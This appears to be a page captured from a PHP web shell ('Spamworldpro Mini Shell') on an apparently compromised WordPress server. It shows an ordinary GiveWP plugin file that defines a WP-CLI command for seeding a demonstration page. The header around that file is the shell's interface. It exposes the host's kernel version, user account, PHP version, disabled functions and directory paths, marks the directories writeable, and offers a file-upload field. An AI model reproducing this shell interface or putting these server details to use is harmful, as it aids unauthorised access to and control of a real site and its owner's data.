Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/give/src/TestData/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/give/src/TestData/Commands/PageSeedCommand.php
<?php

namespace Give\TestData\Commands;

use Give\TestData\Factories\PageFactory;
use WP_CLI;

/**
 * Class DonorSeedCommand
 * @package Give\TestData\Commands
 *
 * A WP-CLI command for seeding pages.
 */
class PageSeedCommand
{

    /**
     * @var PageFactory
     */
    private $pageFactory;

    public function __construct(PageFactory $pageFactory)
    {
        $this->pageFactory = $pageFactory;
    }

    /**
     * Generates GiveWP demonstration page with all GiveWP shortcodes included
     *
     * [--preview=<preview>]
     * : Preview generated data
     * default: false
     *
     * ## EXAMPLES
     *
     *     wp give test-demonstration-page --preview=true
     *
     * @when after_wp_load
     */
    public function __invoke($args, $assocArgs)
    {
        $preview = WP_CLI\Utils\get_flag_value($assocArgs, 'preview', $default = false);

        $page = $this->pageFactory->definition();

        if ($preview) {
            WP_CLI\Utils\format_items(
                'table',
                [$page],
                array_keys($page)
            );
        } else {
            $progress = WP_CLI\Utils\make_progress_bar('Generating demonstration page', 1);

            wp_insert_post($page);
            $progress->finish();
        }
    }
}

Spamworldpro Mini